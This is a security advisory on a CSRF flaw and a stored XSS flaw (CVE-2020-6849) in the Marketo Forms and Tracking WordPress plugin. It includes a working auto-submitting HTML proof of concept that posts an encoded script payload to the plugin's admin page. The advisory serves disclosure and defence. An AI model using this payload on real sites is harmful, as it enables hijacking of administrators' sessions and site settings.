Multiple vulnerabilities in Marketo Forms and Tracking plugin for WordPress

Published: 2020-01-20

Risk	Low
Patch available	NO
Number of vulnerabilities	2
CVE-ID	CVE-2020-6849
CWE-ID	CWE-352 CWE-79
Exploitation vector	Network
Public exploit	Public exploit code for vulnerability #1 is available.
Vulnerable software Subscribe	Marketo Forms and Tracking Web applications / Modules and components for CMS
Vendor	Hutchhouse

Security Bulletin

This security bulletin contains information about 2 vulnerabilities.

1) Cross-site request forgery

EUVDB-ID: #VU24385

Risk: Low

CVSSv3.1: 5.8 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:U/RC:C]

CVE-ID: CVE-2020-6849

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

Exploit availability: No

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.

PoC:

<html>
<form action="https://[host]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf">
    <input type="text" name="marketo_save" value="true">
    <input type="text" name="marketo[marketo_id]" value="&#x22;&#x3E;&#x3C;script&#x3E;alert(document.cookie)&#x3C;/script&#x3E;">
    <input type="text" name="marketo[marketo_base_url]" value="">
    <input type="text" name="marketo[user_id]" value="">
    <input type="text" name="marketo[end_point]" value="">
    <input type="text" name="marketo[secret]" value="">
    <input type="text" name="marketo[popout_title]" value="">
    <input type="text" name="marketo[popout_tabtext]" value="">
    <input type="text" name="marketo[popout_snippet]" value="">
    <input type="text" name="marketo[popout_form]" value="">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</html>

Mitigation

Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

Vulnerable software versions

Marketo Forms and Tracking: 1.0.0 - 1.0.2

External links

http://wpvulndb.com/vulnerabilities/10031/
http://zeroauth.ltd/blog/2020/01/17/cve-2020-6849-marketo-forms-and-tracking-wordpress-plugin-vulnerable-to-csrf-leading-to-xss-attack/

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.

2) Cross-site scripting

EUVDB-ID: #VU24386

Risk: Low

CVSSv3.1: 5 [CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:U/RL:U/RC:C]

CVE-ID: CVE-2020-6849

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit availability: No

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote authenticated attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.